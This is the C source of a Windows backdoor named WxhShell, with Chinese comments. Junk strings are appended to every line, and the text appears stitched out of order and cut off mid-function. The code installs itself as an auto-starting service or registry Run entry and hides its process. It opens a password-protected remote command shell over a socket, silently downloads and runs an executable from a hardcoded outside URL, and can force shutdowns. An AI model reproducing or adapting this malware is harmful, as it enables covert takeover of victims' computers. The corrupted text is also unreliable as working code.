    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); V,_m>$Mo  
    if(Boot(SHUTDOWN)) ) 6)bI.BY  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); pjFO0h_Y  
    else { y,nmPX?]n  
    closesocket(wsh); VQla.Y  
    ExitThread(0); aL;!BlU8v  
    } mcez3gH  
    break;  JaY"Wfc  
    } geR+v+B,  
  // 获取shell &Pr\n&9A  
  case 's': { Zigv;}#  
    CmdShell(wsh); [HQ)4xG  
    closesocket(wsh); *z0d~j*W;  
    ExitThread(0); Lg7A[\c ~  
    break; EhHxB fAQ  
  } en< $.aY  
  // 退出 {Uw 0zC  
  case 'x': { e NIzI]~  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ]X>yZec  
    CloseIt(wsh); l\s!A&L  
    break; 0ae8Xm3J@R  
    } Q>%n&;:  
  // 离开 [ /o'l:  
  case 'q': { q ;'f3Y  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); |GnTRahV.  
    closesocket(wsh); kMQ /9~  
    WSACleanup(); yc](  
    exit(1); yQ2=d5'V`  
    break; +Dy^4p?o  
        } iT-coI  
  } *V6| FU  
  } '{d@Gc6.  
B'}?cG]  
  // 提示信息 }sXTZX  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); +x"uP  
} FRd"F$U  
  } ^AP8T8v  
_nbr%PD,  
  return; aZA ``#p+  
} ]1!" q40)]  
sW[-qPK<  
// shell模块句柄 jfuHZ^YA  
int CmdShell(SOCKET sock) qE~_}4\Z9  
{ y+(\:;y$7  
STARTUPINFO si; eQbHf  
ZeroMemory(&si,sizeof(si)); +Y%6y]8  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; y"q aa  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; [r/zBF-.  
PROCESS_INFORMATION ProcessInfo; "bo0O7InOV  
char cmdline[]="cmd"; o:@Q1+p  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Urr%SIakvM  
  return 0; PE%$g\#?  
} 1)(>'pY  
-* ,CMw  
// 自身启动模式 !ZBtXt#P  
int StartFromService(void) @[n#-!i  
{ rpT.n-H>%A  
typedef struct W'[V$*  
{ 'h*jL@%TT  
  DWORD ExitStatus; p>B2bv+L  
  DWORD PebBaseAddress; 8 t5kou]h  
  DWORD AffinityMask; t7+A !7b{  
  DWORD BasePriority; EA& 3rI>U)  
  ULONG UniqueProcessId; xl\Kj2^  
  ULONG InheritedFromUniqueProcessId; $m4-^=  
}   PROCESS_BASIC_INFORMATION; Jxe+LG  
~K;QdV=YX  
PROCNTQSIP NtQueryInformationProcess; ":Dm/g  
iQ)ydY a  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ;m(iKwDt  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; sl]< A[jR  
E#k{<LYI  
  HANDLE             hProcess; MYAt4cHc2  
  PROCESS_BASIC_INFORMATION pbi; OR <+y~Rv  
(@1:1K(   
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); "7B}hZ^)W  
  if(NULL == hInst ) return 0; }|P3(*S  
rJ!cma  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Z3`EXs  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 1 R5 pf  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ,;)ZF  
J Wn26,  
  if (!NtQueryInformationProcess) return 0; fvkcJwkc  
 ?%,NOX  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); *G19fJ[5  
  if(!hProcess) return 0; = S&`~+  
6\4-I^=B  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; \|;\  
/at7 H!  
  CloseHandle(hProcess); tb3V qFx  
y0* rY  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); NX @FUct;  
if(hProcess==NULL) return 0; PMzPj,  
(`tRJWbdz  
HMODULE hMod; :L[>!~YG_n  
char procName[255]; aLO^>",  
unsigned long cbNeeded; I.<c{4K5  
2{OR#v~  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); P6:C/B  
/).{h'^Hq\  
  CloseHandle(hProcess); R?{+&r.X  
F/>_PH57  
if(strstr(procName,"services")) return 1; // 以服务启动 Wl j&_~  
.JhQxXj  
  return 0; // 注册表启动 _P;D.>?  
} [,zq  
uw)7N(os\`  
// 主模块 ym%UuC3^w  
int StartWxhshell(LPSTR lpCmdLine) Ni,nQ;9  
{ uDF;_bli)H  
  SOCKET wsl; Fhoyji4  
BOOL val=TRUE; OZ[YB  
  int port=0; Yd^@Ei9  
  struct sockaddr_in door; G=zWhqieh  
=&HLz 7|  
  if(wscfg.ws_autoins) Install(); H];B?G';C  
G-aR%]7$g  
port=atoi(lpCmdLine); M+/xw8}a  
'Uok<;  
if(port<=0) port=wscfg.ws_port; mB?x_6#d9  
$NXP)Lic)  
  WSADATA data; wKV4-uyr  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; #+ I'V\ [  
kxn&f(5  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   }Mc b\+[  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val));  <wH+\  
  door.sin_family = AF_INET; j)A#}4jd  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); D&@]  
  door.sin_port = htons(port); \/A.j|by,>  
4=zs&   
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { KpLmpK1  
closesocket(wsl); U.%Kt,qB  
return 1; qNp1<QO0  
} .HqFdsm  
WjV15\,  
  if(listen(wsl,2) == INVALID_SOCKET) { K2   
closesocket(wsl); ]MbPivM  
return 1; I=Y>z ^4  
} _X6'u J  
  Wxhshell(wsl); &p0e)o~Ux  
  WSACleanup(); &d#R'Z  
8.E"[QktZ  
return 0; qe~x?FO_>  
wp[Ug2;G  
} $pGT1oF[E  
f:T?oR>2  
// 以NT服务方式启动 :2 ;Jo^6Se  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) KyvZ? R  
{ Tb/TP3N  
DWORD   status = 0; M>8J_{r^  
  DWORD   specificError = 0xfffffff; i!wU8 @  
UM}u(;oo%)  
  serviceStatus.dwServiceType     = SERVICE_WIN32; }pc9uvmIJ  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; O] _4pP  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 7nZPh3%  
  serviceStatus.dwWin32ExitCode     = 0; e#eVc'=cDR  
  serviceStatus.dwServiceSpecificExitCode = 0;  C0rf  
  serviceStatus.dwCheckPoint       = 0; !40>LpL[  
  serviceStatus.dwWaitHint       = 0; /zn=AAYb  
o5<<vvdA  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); '%)R}wgV  
  if (hServiceStatusHandle==0) return; *{o7G  a  
[}RoZB&I  
status = GetLastError(); vqf$("  
  if (status!=NO_ERROR) iCt.rr~;V  
{ ZzT=m*tQ&  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; niVR!l  
    serviceStatus.dwCheckPoint       = 0; !xM5 A[f  
    serviceStatus.dwWaitHint       = 0; KWTV!Wxb=K  
    serviceStatus.dwWin32ExitCode     = status; eRauyL"Q+  
    serviceStatus.dwServiceSpecificExitCode = specificError; @NHh- &;w  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); <=uYfi3,  
    return; D28`?B9 (  
  } 8a)AuAi?!  
Ic& h8vSU  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; WzMYRKZ  
  serviceStatus.dwCheckPoint       = 0; 5En6f`nR{  
  serviceStatus.dwWaitHint       = 0; 0}{xH  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); NE995;  
} M>Q]{/V7T  
lOIk$"Ne  
// 处理NT服务事件,比如:启动、停止 >4 OXG7.&f  
VOID WINAPI NTServiceHandler(DWORD fdwControl) md!6@)S-p  
{ 1GY2aZ@  
switch(fdwControl) %|Ps|iV  
{ k3\N.@\  
case SERVICE_CONTROL_STOP: |s|}u`(@9  
  serviceStatus.dwWin32ExitCode = 0; 98m|&7  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; =;}W)V|X)S  
  serviceStatus.dwCheckPoint   = 0; |(7}0]BP0  
  serviceStatus.dwWaitHint     = 0; xQy,1f3s+  
  { ~j0rORy]  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 'J|2c;M\x  
  } B.z$0=b  
  return; 8v:{BHX  
case SERVICE_CONTROL_PAUSE: ?RRO  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 0p.bmQSH  
  break; g(7 -3q8eq  
case SERVICE_CONTROL_CONTINUE: "4j~2{{ F  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; @@EI=\  
  break; gcLz}84  
case SERVICE_CONTROL_INTERROGATE: 'U@o!\=a  
  break; (IJNBJb  
}; _|HhT^\P  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 3v* ~CQy9  
} \P\Z<z7jy  
cHFi(K]|1  
// 标准应用程序主函数 0X$mT:=9  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 99m2aT()  
{ ,d G.67  
QFh1sb)]d)  
// 获取操作系统版本 O*yxOb*  
OsIsNt=GetOsVer(); M5xJ_yjG  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Qm%F]nyy  
`-NK:;^  
  // 从命令行安装 `:/'")+@v  
  if(strpbrk(lpCmdLine,"iI")) Install(); !Sq<_TO  
P rt} 01$  
  // 下载执行文件 Sb.8d]DW  
if(wscfg.ws_downexe) { d@%"B($nR  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) =:W2NN'  
  WinExec(wscfg.ws_filenam,SW_HIDE); sFU< PgV  
} =TB_|`5;j  
[^H2'&]  
if(!OsIsNt) { xn8K OwX%  
// 如果时win9x,隐藏进程并且设置为注册表启动 jU,Xlgz(A  
HideProc(); =8^+M1I  
StartWxhshell(lpCmdLine); W{p}N  
} LiJYyp  
else .Po"qoGy  
  if(StartFromService()) _vQ52H,  
  // 以服务方式启动 j;x()iZ<  
  StartServiceCtrlDispatcher(DispatchTable); ez4!5&TzRm  
else L"_X W no  
  // 普通方式启动 J0G@]H  
  StartWxhshell(lpCmdLine); ">uN={Iy  
z^Q'GBoBA  
return 0; [K{{P|(q  
} $-4](br|  
gesbt  
"W<Y1$Y=Y  
'uPAG;)m  
=========================================== P5S ]h  
'3.\+^3  
$:ush"=f8^  
nD wh  
"CJVtO  
P8 X07IK  
" Ik G&  
5'%I4@Qn+  
#include <stdio.h> OV>& `puL  
#include <string.h> ^@fD{]I  
#include <windows.h> ,0l Od<  
#include <winsock2.h> \Lx=iKs<  
#include <winsvc.h> CK* * RZ  
#include <urlmon.h> fv+]iK<{  
>7U/TVd&  
#pragma comment (lib, "Ws2_32.lib") n. %QWhUB  
#pragma comment (lib, "urlmon.lib") >KKWhJ  
q? ,PFvs"  
#define MAX_USER   100 // 最大客户端连接数 mvn- QP~"  
#define BUF_SOCK   200 // sock buffer (f/(q-7VWt  
#define KEY_BUFF   255 // 输入 buffer -YoL.`s1   
w,{h9f  
#define REBOOT     0   // 重启 XcR=4q|7  
#define SHUTDOWN   1   // 关机 ^'UM@dd?!  
N['DqS =  
#define DEF_PORT   5000 // 监听端口 43=v2P0=Tj  
!pU$'1D  
#define REG_LEN     16   // 注册表键长度 0cG'37[  
#define SVC_LEN     80   // NT服务名长度 bWPsfUn#  
z 4u&#.bU  
// 从dll定义API <T 2O^  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); x6ghO-s  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); {QG.> lB  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); a`O'ZY  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); .jrNi=BP*  
.#EU@Hc  
// wxhshell配置信息 -FeXG#{)  
struct WSCFG { <z Gh}.6v  
  int ws_port;         // 监听端口 R >xd*A  
  char ws_passstr[REG_LEN]; // 口令 Y;'<u\^M"  
  int ws_autoins;       // 安装标记, 1=yes 0=no D 0Xl`0"'  
  char ws_regname[REG_LEN]; // 注册表键名 ( eV,f  
  char ws_svcname[REG_LEN]; // 服务名 *&U~Io"U  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 *>fr'jj1$  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 *^>"  h@J  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 +VwQ=[y]  
int ws_downexe;       // 下载执行标记, 1=yes 0=no hgU;7R,?ir  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ]jT}]9Q$  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 fQ+whGB  
KsDS!O  
}; U}92%W?  
hBgE%#`s  
// default Wxhshell configuration g 9,"u_  
struct WSCFG wscfg={DEF_PORT, F^,:p.ihm<  
    "xuhuanlingzhe", {3Inj8a=?A  
    1, 1U\ap{z@  
    "Wxhshell", ]#0 (  
    "Wxhshell", +eVYy_bL-  
            "WxhShell Service", 1tuvJ+`{  
    "Wrsky Windows CmdShell Service", ZL|aB886  
    "Please Input Your Password: ", wMS%/l0p1  
  1, ]n^iG7aB?  
  "http://www.wrsky.com/wxhshell.exe", xoZ m,Pxd  
  "Wxhshell.exe" ~nZcA^b#DQ  
    }; 5xH=w:  
fit{n]g  
// 消息定义模块 EJ:O 1  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; {Jn0G;  
char *msg_ws_prompt="\n\r? for help\n\r#>"; wt($trJ  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ==Gc%  
char *msg_ws_ext="\n\rExit."; 4uF.kz-cg  
char *msg_ws_end="\n\rQuit."; --h\tj\U  
char *msg_ws_boot="\n\rReboot..."; ^ h=QpH  
char *msg_ws_poff="\n\rShutdown..."; 2D 4,#X  
char *msg_ws_down="\n\rSave to "; ch i=]*9  
SYJO3cY  
char *msg_ws_err="\n\rErr!"; -()WTdIy  
char *msg_ws_ok="\n\rOK!"; c~0kZA6  
~aC ?M&  
char ExeFile[MAX_PATH]; zt.k Nb  
int nUser = 0; OqtGKda  
HANDLE handles[MAX_USER]; ^*.[b  
int OsIsNt; Ai/X*y:[?  
(\\;A?  
SERVICE_STATUS       serviceStatus; D4%J!L<P  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; @3`5(xwzm  
=rKJJa N  
// 函数声明 XkI'm\W  
int Install(void); Q)75?mn  
int Uninstall(void); yan^\)HZ  
int DownloadFile(char *sURL, SOCKET wsh); \Qml~?$@lH  
int Boot(int flag); (p]FI#y  
void HideProc(void); ?Y"%BS+pt  
int GetOsVer(void); 161P%sGx2  
int Wxhshell(SOCKET wsl); , Ckcc  
void TalkWithClient(void *cs); la[ pA  
int CmdShell(SOCKET sock); TY8gB!^  
int StartFromService(void);  _a09;C  
int StartWxhshell(LPSTR lpCmdLine); AVT % AS  
/HIyQW\Ki-  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); %.Y5%T yP  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 9f~qD&~  
fPe S;  
// 数据结构和表定义 Vr2A7kq  
SERVICE_TABLE_ENTRY DispatchTable[] = 0ix(1`Z  
{ 0/HFLz'  
{wscfg.ws_svcname, NTServiceMain}, M9)4ihK  
{NULL, NULL} Wf c/?{  
}; v[L+PD U  
a (U52dO,  
// 自我安装 TdFU,  
int Install(void) I Q_6DF  
{ ; Y/nS  
  char svExeFile[MAX_PATH]; j!+jLm!l  
  HKEY key; f:Pl Mv!{  
  strcpy(svExeFile,ExeFile); 8eqTA8$?  
T Q41i/{  
// 如果是win9x系统,修改注册表设为自启动 ElO|6kOBYG  
if(!OsIsNt) { ?G`m;S  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { _E '?U  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); CL0 lMZ  
  RegCloseKey(key); -A#p22D,5  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 8LV6E5Q  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); /2Izj/Q  
  RegCloseKey(key); ?LMQz=  
  return 0; y._'o7%  
    } dD,}i$  
  } UL[,A+X8D  
} j]Gn\QF  
else { !Z_+H<fi+I  
k^ <]:B  
// 如果是NT以上系统,安装为系统服务 !wp1Df[  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); =$OGHc  
if (schSCManager!=0) suEK;Bk9  
{ bM?gAY]mB8  
  SC_HANDLE schService = CreateService 7O1MC 8{  
  ( '$FF/|{  
  schSCManager, ] SJ#:7  
  wscfg.ws_svcname, XG|N$~N+2  
  wscfg.ws_svcdisp, } =OE.cf@  
  SERVICE_ALL_ACCESS, Kx9u|fp5  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , y:)^*2GA-B  
  SERVICE_AUTO_START, * JK0X  
  SERVICE_ERROR_NORMAL, ]:e_Y,@  
  svExeFile, izP )t  
  NULL, ]bds~OY5 U  
  NULL,  l"ms:v  
  NULL, B[8bkFS>]  
  NULL, s{b\\$Rb  
  NULL q7 PCMe  
  ); ^N7H~CT"  
  if (schService!=0) Pd7\Q]of  
  { 8"%Es  
  CloseServiceHandle(schService); Q6m8N  
  CloseServiceHandle(schSCManager); q|*^{(tWs  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); $0$sM/%  
  strcat(svExeFile,wscfg.ws_svcname); um%_kX  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 5L3+KkX@  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ^PEw#.WG  
  RegCloseKey(key); "Z&.m..gc  
  return 0; v,i|:;G  
    } 4jXo5SkEJ  
  } & /8Tth86  
  CloseServiceHandle(schSCManager); 40?RiwwD  
} qyM/p.mP  
} J>(X0@eWz  
TuQGF$n@  
return 1; xM%4/QE+  
} tp`1S+'~j  
xhP~]akHN7  
// 自我卸载 ZiUb+;JA  
int Uninstall(void) 9FDu{4:  
{ vRe{B7}p;  
  HKEY key; F! =l r  
lpG%rN!  
if(!OsIsNt) { ^/BGOBK  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ",,#q  
  RegDeleteValue(key,wscfg.ws_regname); Mj;V.Y  
  RegCloseKey(key); H,}&=SCk  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { -,bnj^L  
  RegDeleteValue(key,wscfg.ws_regname); uw\@~ ,d  
  RegCloseKey(key); %u!=<yn'  
  return 0; xr'1CP  
  }  +vkmS  
} l!*_[r   
} +gd5&  
else { t"$~o:U&)  
3en 9TB  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); mG S4W;  
if (schSCManager!=0) z>W:+W"o  
{ %>FtA)  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); IV,4BQ$  
  if (schService!=0) f\_RW;y|m  
  { v@$N,g  
  if(DeleteService(schService)!=0) { 9JFN8Gf*)  
  CloseServiceHandle(schService); m?kiGC&m  
  CloseServiceHandle(schSCManager); AM- bs^  
  return 0; -PV1x1|  
  } *I 1H  
  CloseServiceHandle(schService); X%b1KG|#(  
  } %mC@}  
  CloseServiceHandle(schSCManager); ny{C,1QG  
} Om*QN]lGq  
} $e+sqgU  
7I;kh`H$(f  
return 1; 8 #4K@nm5  
} *$=i1w  
LwB1~fF  
// 从指定url下载文件 mGE!,!s}  
int DownloadFile(char *sURL, SOCKET wsh) h]<S0/  
{ !Ubm 586!  
  HRESULT hr; g,d_  
char seps[]= "/"; kG D_w  
char *token; rxyv+@~Nc  
char *file; (p2`ofj  
char myURL[MAX_PATH]; :u4|6?  
char myFILE[MAX_PATH]; AA5G` LiT  
a/ A c^!(  
strcpy(myURL,sURL); ko@ej^  
  token=strtok(myURL,seps); L"ho|v9:  
  while(token!=NULL) `N\ ^JAGW  
  { :{a< ~n`  
    file=token; pyhXET '  
  token=strtok(NULL,seps); |mt W)  
  } ZxvH1qx8  
es7;eH*O9  
GetCurrentDirectory(MAX_PATH,myFILE); [e><^R*u  
strcat(myFILE, "\\"); 9d"*Z%!j  
strcat(myFILE, file); 5e7YM@ng  
  send(wsh,myFILE,strlen(myFILE),0); XO]^+'U}p  
send(wsh,"...",3,0); 3%*igpj\)  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); z3a GK  
  if(hr==S_OK) 5Od%Jhtt  
return 0; PIH\*2\/  
else 1h@qcom9K_  
return 1; 7wj2-BWa  
4vg3F(   
} :$D*ab^^P  
ZO/e!yju  
// 系统电源模块 r(r(&NU  
int Boot(int flag) 7 z    
{ 8C{&i5kj\E  
  HANDLE hToken; kx&JY9(&#  
  TOKEN_PRIVILEGES tkp; ins(RWO  
b^HDN(v  
  if(OsIsNt) { cb_C2+%8NA  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ]0D-g2!|A  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); =n,;S W  
    tkp.PrivilegeCount = 1; OG}890$n  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; U =J5lo  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); (m3hD)!+y  
if(flag==REBOOT) { ]+:yfDtZd  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 4.,EKw3  
  return 0; G`l\R:Q  
} Lip#uuuXXN  
else { %gmx47  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) $U[d#:]  
  return 0; 1>e30Ri,g  
} 0~U0s3  
  } 1]If< <  
  else { oEX,\@+u  
if(flag==REBOOT) { i~Tt\UA>  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) xCZ_x$bk  
  return 0; 4 $R!)  
} [#GBn0BG)  
else { 3uYLA4[-B  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) W5u5!L/  
  return 0; nWsRa uY  
} jgE{JK\n4  
} yu6~:$%H  
9(]_so24,  
return 1; cB,^?djJ3  
} *fm?"0M5  
z#+WK| a  
// win9x进程隐藏模块 \hX,z =  
void HideProc(void) 7 (2}Vs!5  
{ Tu(:?  
|V5BL<4  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); !EIH"`>!  
  if ( hKernel != NULL ) P"NI> HM  
  { +jE)kaV%  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); A'w+Lc.2  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); "c[>>t  
    FreeLibrary(hKernel); 4(\1z6?D  
  } :Ak^M~6a5  
D#<y pJR  
return; L9/'zhiZBx  
} %ZoJu  
n@`3O'S  
// 获取操作系统版本 '`upSJ;e  
int GetOsVer(void) <l1/lm<#  
{ `:lcN0n  
  OSVERSIONINFO winfo; +(Y\w^@%H  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); mywx V  
  GetVersionEx(&winfo); k$v 7@|Aw  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Qb@j8Xa4[  
  return 1; 1le9YL1_g  
  else ZTTA??}Y  
  return 0; q-t%spkl  
} eSoX|2g  
vE9"1M  
// 客户端句柄模块 b#I,Z+0ry  
int Wxhshell(SOCKET wsl) '\{ OQ H  
{ 6Y[&1c8  
  SOCKET wsh; s>;"bzzq  
  struct sockaddr_in client; oRd{?I&NY  
  DWORD myID; <vl(a*4a  
)[hs#nKTh  
  while(nUser<MAX_USER) !&OdbRHM  
{ Kj?)]Z4  
  int nSize=sizeof(client); Y<;C>Rs  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); >> cW0I/`  
  if(wsh==INVALID_SOCKET) return 1; ?4SYroXUX|  
q[/g3D\G  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); @16y%]Q-E#  
if(handles[nUser]==0) IRM jL.q  
  closesocket(wsh); %enJ[a%Qg  
else ` .`:~_OE  
  nUser++; ~6#mVP5sU)  
  } s;h`n$  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); f@Mku0VT  
=3,<(F5Y[  
  return 0; cY} jPDH  
} t>]W+Lx#  
K/(LF}  
// 关闭 socket 07^.Z[(pCt  
void CloseIt(SOCKET wsh) M(8xwo-W  
{ 4`~OxL  
closesocket(wsh); gs2qLb  
nUser--; R@WW@ Of  
ExitThread(0); /,7#%D  
} 'q9Ejig  
] Q^8 9?  
// 客户端请求句柄 ])pX)(a  
void TalkWithClient(void *cs) R&s/s`pLW  
{ lU|ltnU  
6Hc25NuQZ  
  SOCKET wsh=(SOCKET)cs; 7# 'j>]  
  char pwd[SVC_LEN]; Uj 3{c  
  char cmd[KEY_BUFF]; F4(;O7j9  
char chr[1]; &[\zs&[@y  
int i,j; &>B|?d  
!5+9~/;  
  while (nUser < MAX_USER) { *RkvM?o@jC  
~=wBF  
if(wscfg.ws_passstr) { ,hK =x  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); mp3Dc  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 7TAoWD3  
  //ZeroMemory(pwd,KEY_BUFF); a w~a /T:  
      i=0; WV}pE~  
  while(i<SVC_LEN) { p"\-iY]  
JK md'ZGw  
  // 设置超时 lItr*,A]  
  fd_set FdRead; =uwG.,lC  
  struct timeval TimeOut; O'S xTwO  
  FD_ZERO(&FdRead); ?{Xp'D\z  
  FD_SET(wsh,&FdRead); s5 Fn("h]n  
  TimeOut.tv_sec=8; yPbOiA*lHz  
  TimeOut.tv_usec=0; HH!SqkwT  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); *=z.H  *  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); |q o3 E  
hQSJt[8My  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); -eSI"To L<  
  pwd=chr[0]; 6O5E4=  
  if(chr[0]==0xd || chr[0]==0xa) { p*P0<01Z  
  pwd=0; 7; }TNK\+v  
  break; UIQ=b;J9  
  } *|+ ~V/#  
  i++; kGq<Zmy|  
    } }xrrHp  
k!@/|]3z  
  // 如果是非法用户,关闭 socket jP @t!=  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); /? j^Qu  
} 8HO)",+I  
e ]>{?Z  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); u*;53 43  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); *7Sg8\wDn  
)fZ5.W8UE]  
while(1) { JvUHoc$sI  
Us9$,(3  
  ZeroMemory(cmd,KEY_BUFF); ,@gDY9Q3r/  
9.goO|~B~  
      // 自动支持客户端 telnet标准   OQX ek@~2  
  j=0; ;+qPV7Z  
  while(j<KEY_BUFF) { N~arxe (K  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); qj|B #dU  
  cmd[j]=chr[0]; E{9{%J  
  if(chr[0]==0xa || chr[0]==0xd) { YpZ 9h@,  
  cmd[j]=0; QQjMC'  
  break; 6 ud<B  
  } EVmE{XlD;  
  j++; `V ++})5v  
    } ,v1-y ?kB  
_jb"@TY  
  // 下载文件 J2#=`|t"  
  if(strstr(cmd,"http://")) { bOmM~pD  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); o9HDxS$~^  
  if(DownloadFile(cmd,wsh)) Ll&5#q  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); +ACV,GG  
  else ;v+CQx  
